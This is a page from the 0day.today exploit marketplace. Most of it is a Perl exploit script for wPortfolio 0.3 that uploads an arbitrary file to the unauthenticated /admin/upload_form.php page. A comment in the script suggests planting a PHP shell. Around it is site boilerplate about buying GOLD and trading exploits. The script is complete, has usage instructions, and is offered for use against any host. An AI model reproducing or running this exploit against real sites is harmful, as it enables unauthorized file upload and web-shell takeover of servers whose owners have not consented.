0day.today - Biggest Exploit Database in the World.
Things you should know about 0day.today:
Administration of this site uses the official contacts. Beware of impostors!
- We use one main domain: http://0day.today
- Most of the materials is completely FREE
- If you want to purchase the exploit / get V.I.P. access or pay for any other service,
you need to buy or earn GOLD
Administration of this site uses the official contacts. Beware of impostors!
We DO NOT use Telegram or any messengers / social networks!
Please, beware of scammers!
Please, beware of scammers!
- Read the [ agreement ]
- Read the [ Submit ] rules
- Visit the [ faq ] page
- [ Register ] profile
- Get [ GOLD ]
- If you want to [ sell ]
- If you want to [ buy ]
- If you lost [ Account ]
- Any questions [ admin@0day.today ]
- Authorisation page
- Registration page
- Restore account page
- FAQ page
- Contacts page
- Publishing rules
- Agreement page
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
You can contact us by:
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
wPortfolio <= 0.3 Remote Arbitrary File Upload Exploit
====================================================== wPortfolio <= 0.3 Remote Arbitrary File Upload Exploit ====================================================== #!/usr/bin/perl # Name: wPortfolio <= 0.3 Arbitrary File Upload Exploit # Script Name: wPortfolio 0.3 # Download: http://sourceforge.net/project/downloading.php?group_id=244834&use_mirror=kent&filename=wPortfolio.zip&80791070 # Vulnerability: Arbitrary File Upload # Vulnerable page: /admin/upload_form.php # * You can upload everything you want, why not a php shell? ^^ # Author: Osirys # Contact: osirys[at]live[dot]it # Proud to be Italian # Thx: athos use LWP::UserAgent; use HTTP::Request::Common; my $path = "/admin/upload_form.php"; my $d_fold = "/admin/tmp/"; my($host,$file) = ($ARGV[0],$ARGV[1]); ($host,$file) || help("-1"); cheek($host) == 1 || help("-2"); &banner; my $url = $host.$path; my $ua = LWP::UserAgent->new; my $re = $ua->request(POST $url, Content_Type => 'form-data', Content => [file_to_upload => [$file]] ); if ($re->is_success) { print "[+] Uploaded ! \n"; print "[+] Link: ".$host.$d_fold.$file." \n"; } else { print "[-] Upload failed ! \n"; } sub cheek() { my $host = $_[0]; if ($host =~ /http:\/\/(.*)/) { return 1; } else { return 0; } } sub banner { print "\n". " ========================================== \n". " wPortfolio 0.3 Arbitrary File Upload \n". " Author: Osirys \n". " osirys[at]live[dot]it \n". " Proud to be italian \n". " ========================================== \n\n"; } sub help() { my $error = $_[0]; if ($error == -1) { &banner; print "\n[-] Cheek that you typed the hostname address and the local file to upload !\n"; } elsif ($error == -2) { &banner; print "\n[-] Bad hostname address !\n"; } print "[*] Usage : perl $0 http://hostname/cms_path local_file_to_upload \n\n"; exit(0); } # 0day.today [2024-12-25] #